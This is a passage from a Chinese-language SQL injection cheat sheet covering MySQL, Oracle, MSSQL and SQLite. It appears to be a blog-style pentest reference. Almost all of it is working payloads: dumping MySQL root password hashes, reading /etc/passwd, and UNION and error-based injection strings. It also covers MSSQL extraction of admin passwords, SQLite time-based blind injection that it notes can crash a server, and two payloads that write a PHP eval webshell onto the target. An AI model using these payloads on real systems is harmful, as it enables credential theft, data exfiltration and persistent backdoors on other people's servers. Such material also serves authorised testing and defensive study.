select group_concat(password) from mysql.user where user='root'
所有数据库:
1
SELECT group_concat(schema_name) from information_schema.schemata
表名:
1
SELECT group_concat(table_name) from information_schema.tables where table_schema='库名'
//表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出
1
SELECT group_concat(table_name) from information_schema.table_constraints where table_schema='库名'
字段名:
1
SELECT group_concat(column_name) from information_schema.columns where table_name='表名'
读文件:
1
SELECT load_file('/etc/passwd')
写文件:
1
SELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'
(2)UNION注入
判断列数
1 2 3 4 5 6 7
id=1' order by 1 %23 id=1' order by 2 %23 id=1' order by 3 %23 ····· id=1' order by n %23
直到报错为止,最后一个页面正确回显的数,即为列数
判断回显位置
1
id=-1' UNION SELECT 1,2 %23
然后在可回显的位置处构造SQL语句进行注入
(2)报错注入
floor
1
?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
ExtractValue(有长度限制,最长32位)
1
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
UpdateXml(有长度限制,最长32位)
1
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
Error based Double Query Injection
1
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
exp(5.5.5以上)
1
id=1 and (select exp(~(select * from(select user())x)))
polygon
1 2
mysql> select * from users where username=""and polygon (password); ERROR 1367 (22007): Illegal non geometric '`security`.`users`.`password`' value found during parsing
select owner from all_tables where rownum=1 依次爆出所有数据库名,假设第一个库名为first_dbname哪个第二个库select owner from all_tables where rownum=1 and owner<>'first_dbname'依次类推
获取表名:
1
select table_name from user_tables where rownum=1,依次爆出所有表类似暴库。
获取字段名:
1
select column_name from user_tab_columns where table_name='tablename' and rownum=1,
2.MSSQL
数据库版本:
select @@VERSION
数据库名:
select db_name()
数据库ip地址:
select local_net_address from sys.dm_exec_connextions where Session_id=@@spid
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1--
article.asp?id=6 group by admin.username,admin.password having 1=1--
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id('admin'),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
3.SQLite
(1)常用信息及语句
数据库版本: select sqlite_version()
获取所有表名: SELECT name FROM sqlite_master WHERE type='table'
所有表结构(包含字段名,表名): SELECT sql FROM sqlite_master WHERE type='table'
注释符 --
盲注常用函数:substr()(没有mid、left等函数),判断长度函数length()
(2)BOOL盲注
bool条件构造和MySQL一样,但是亦或运算的Payload不可用,注释符使用–。
逻辑判断目前我就翻到一个substr(),应用实例: cond='FALSE' or (substr('abc',1,1)='a')
格式cond='true' AND 1=(case when (bool) then randomblob(100000000) else 0 end) 100000000个字符就有明显延时了。
注意cond为真,并且不要有太多条数据,因为有一条数据就会执行一次randomblob(100000000),如果数据很多的话,服务器直接挂了。可以首先判断一下数据量,再确定N的值,比如我这里有100多条数据,就可以 id='' or 1 AND 1=randomblob(1000000)这样,把N的值缩小100倍。灵活运用。
运用实例:
1
' or 1 and 1=(case when substr('abc',1,1)='a' then randomblob(1000000) else 0 end)--
(4)写文件
需要直接访问数据库,或堆叠查询选项启用(默认关闭)
1
';ATTACH DATABASE '/tmp/p0.php' AS p0;CREATE TABLE p0.shell (data text);INSERT INTO p0.shell (data) VALUES ('<?php eval($_POST[1]);?>');--